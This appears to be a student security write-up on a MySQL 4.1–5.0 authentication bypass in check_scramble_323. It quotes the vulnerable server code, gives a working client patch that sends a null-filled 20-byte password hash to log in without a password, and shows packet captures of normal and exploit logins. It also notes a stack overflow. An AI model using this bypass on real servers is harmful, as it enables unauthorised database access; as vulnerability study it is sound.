
Authentication bypassing and stack overflows in MySQL

Erik Sonnleitner (0555464)

JKU Linz

MySQL, as free open-source database, is heavily in use nowadays since thousands of websites sustain upon the LAMP¹ server configuration and website model. Hence, an enormous amount of MySQL database installations are configured to be directly connectable from within the Internet and therefore attackable in case of upcoming vulnerabilities.

This document describes how to bypass the MySQL authentication procedure for versions 4.1.0-4.1.2 and 5.0. The bug has been originally discovered by Chris Anley². As I couldn't find a corresponding exploit, I decided to develop a quick example. The following piece of code is extracted from the DBMS' authentication procedure, located at `sql/sql_parse.cpp`:

```
uint passwd_len = thd->client_capabilities & CLIENT_SECURE_CONNECTION ?
    *passwd++ : strlen(passwd);
```

It's mentionable that old MySQL clients (prior to 3.2.23) send a null-terminated string as password while newer clients send one byte including the password length, followed by the non-null-terminated password string. Therefore, both clients send `\0` if no password is given. A brief look into the above code should make clear that the attacking client can claim to every password-length s/he wants to the MySQL database server.

Then, the code for the actual password verification procedure follows. Although MySQL uses a plaintext protocol (which will probably get tunneled through SSL/TLS), the passwords themselves are not transmitted in cleartext, but only hash fingerprints.

With the given parameters, the `check_scramble` function fails, but the fallback-function `check_scramble_323` (originally used with the 3.23x series of MySQL) is interesting for our purposes:

```
my_bool check_scramble_323(const char *scrambled, const char *message, ulong *hash_pass) {
    struct rand_struct rand_st;
    ulong hash_message[2];
    char buff[16],*to,extra;                               /* Big enough for check */
    const char *pos;

    hash_password(hash_message, message, SCRAMBLE_LENGTH_323);
    randominit(&rand_st,hash_pass[0] ^ hash_message[0], hash_pass[1] ^ hash_message[1]);

    to = buff;
    for (pos=scrambled ; *pos ; pos++)
        *to++=(char) (floor(my_rnd(&rand_st)*31)+64);

    extra = (char) (floor(my_rnd(&rand_st)*31));
    to = buff;

    while (*scrambled) {
```

¹Linux, Apache, MySQL and PHP

²Hackproofing MySQL, NGSSoftware Insight Security Research

```

    if (*scrambled++ != (char) (*to++ ^ extra))
        return 1;                                /* Wrong password */
}
return 0;
}

```

Authentication bypassing The first and most important mistake of the above code is the last `while` loop. The loop tries to iterate all characters from the password string, provided by the client (which is stored in the `scrambled` array of characters) and compares it to the scrambled password string MySQL knows itself. If one single character from these strings differs, authentication is rejected.

Nevertheless, if the scrambled password is trimmed to zero length and therefore `\0` (remember, the actual length of the password MySQL believes to work with is not zero!). This results in the fact, that MySQL thinks the password is correct, the function returns zero and authentication is successfully bypassed.

Exploiting the vulnerability In order to exploit this weakness, it's necessary to write an modified MySQL client. For this purpose, I downloaded the sourcecode of the MySQL 5.0 release from the company's website at mysql.com and modified the protocol implementation of the MySQL network communication and authentication protocol to fit our needs.

The code which has to be modified is found in `libmysql/client.c`, at about line 2300:

```

if (passwd[0]) {
    if (mysql->server_capabilities & CLIENT_SECURE_CONNECTION) {
        *end++= SCRAMBLE_LENGTH;
        scramble(end, mysql->scramble, passwd);
        end+= SCRAMBLE_LENGTH;
    } else {
        scramble_323(end, mysql->scramble, passwd);
        end+= SCRAMBLE_LENGTH_323 + 1;
    }
} else
    *end++= '\0';

```

We now do the following: Uncomment the whole piece of code which writes the scrambled password into the `end`-buffer and rewrite this memory area with a password-length not equal to zero, followed by some null-bytes:

```

/* Fill the packet buffer with null bytes after first byte*/
for ( int i = 0; i < 20; i++ )
    end[i+1] = 0x00;

/* put 0x14 (dec 20 = length of mysql hash) at first position */
end[0] = 0x14;

/* update packet length */
    end+=i+2;

```

This means that we're suggesting the MySQL server to receive a 20-byte password hash, while filling the whole

password with \0 characters. Since the password isn't of zero length, MySQL will proceed with comparing the received hash with the hash from its own database and finally trap into the vulnerability in the `check_scramble_323` function, which leads to successful authentication of our login attempt without a valid password.

Note that this attack only works if a valid user is given.

Yet another buffer overflow As the interested reader might have already noticed, the `buff` buffer variable which has been defined at the stack of the `check_scramble_323()` function is exploitable.

Network packet analyzation The first screenshot describes the authorization packet which is send from an unmodified client to the vulnerable server (note that the scrambled password follows the password-length-byte, following the username).

```

0000 00 18 f8 d2 b6 5f 00 1a 92 04 00 8a 08 00 45 08 .....E.
0010 00 72 a2 8b 40 00 40 06 e8 3e c0 a8 01 66 59 6e ..r.@.@.>...fYn
0020 94 37 b6 d5 0c ed 4f bd e8 18 be 0a f1 1d 80 18 .7....0.....
0030 00 2e 59 c5 00 00 01 01 08 0a 00 27 4a b1 e2 6c ..Y.....'J..l
0040 f9 5d 3a 00 00 01 85 a6 03 00 00 00 00 01 08 00 .]:.....
0050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0060 00 00 00 00 00 00 72 6f 6f 74 00 14 7d 60 1b 86 .....ro ot.]`..
0070 c9 67 24 95 44 74 b3 5e 9a 66 a9 33 cc c9 5f b0 .g$.Dt.^ .f.3._.

> Frame 22 (128 bytes on wire, 128 bytes captured)
> Ethernet II, Src: AsustekC_04:00:8a (00:1a:92:04:00:8a), Dst: Cisco-Li_d2:b6:5f (00:11:11:11:11:11)
> Internet Protocol, Src: 192.168.1.102 (192.168.1.102), Dst: 89.110.148.55 (89.110.148.55)
> Transmission Control Protocol, Src Port: 46805 (46805), Dst Port: tns-adv (3309), Seq: 123456789
  MySQL Protocol
    Packet Length: 58
    Packet Number: 1
    Login Request
      Client Capabilities: 0xA685
      Extended Client Capabilities: 0x0003
      MAX Packet: 16777216
      Charset: latin1 COLLATE latin1_swedish_ci (8)
      Username: root
      Password: }`033\206\31lg$\225Dt\263^\232f\2513\314\311\_260

```

The second screenshot describes the authorization packet which is sent from my modified version of the MySQL client to the vulnerable server. Hereby, the password string is substituted by null-bytes.

```

0000 00 18 f8 d2 b6 5f 00 1a 92 04 00 8a 08 00 45 08 .....E.
0010 00 5f 5d 47 40 00 40 06 2d 96 c0 a8 01 66 59 6e ..]G@.@. ....fYn
0020 94 37 b6 d6 0c ed f7 2e a7 30 c9 87 ba 8f 80 18 .7.....0.....
0030 00 2e 30 74 00 00 01 01 08 0a 00 27 fa a4 e2 6f ..Ot.....'...o
0040 b9 1d 27 00 00 01 05 a6 03 00 00 00 00 01 08 00 ..'.....
0050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0060 00 00 00 00 00 00 72 6f 6f 74 00 14 00 .....ro ot]..

> Frame 10 (109 bytes on wire, 109 bytes captured)
> Ethernet II, Src: AsustekC_04:00:8a (00:1a:92:04:00:8a), Dst: Cisco-Li_d2:b6:5f (00:11:11:11:11:11)
> Internet Protocol, Src: 192.168.1.102 (192.168.1.102), Dst: 89.110.148.55 (89.110.148.55)
> Transmission Control Protocol, Src Port: 46806 (46806), Dst Port: tns-adv (3309), Seq: 123456789
  MySQL Protocol
    Packet Length: 39
    Packet Number: 1
    Login Request
      Client Capabilities: 0xA605
      Extended Client Capabilities: 0x0003
      MAX Packet: 16777216
      Charset: latin1 COLLATE latin1_swedish_ci (8)
      Username: root
      Password: 
[Malformed Packet: MySQL]

```

The packet analyzer even complains about a malformed packet: Since we tell MySQL that the password is 0x14 (20 decimal) bytes long, but just follow up with just one null-byte.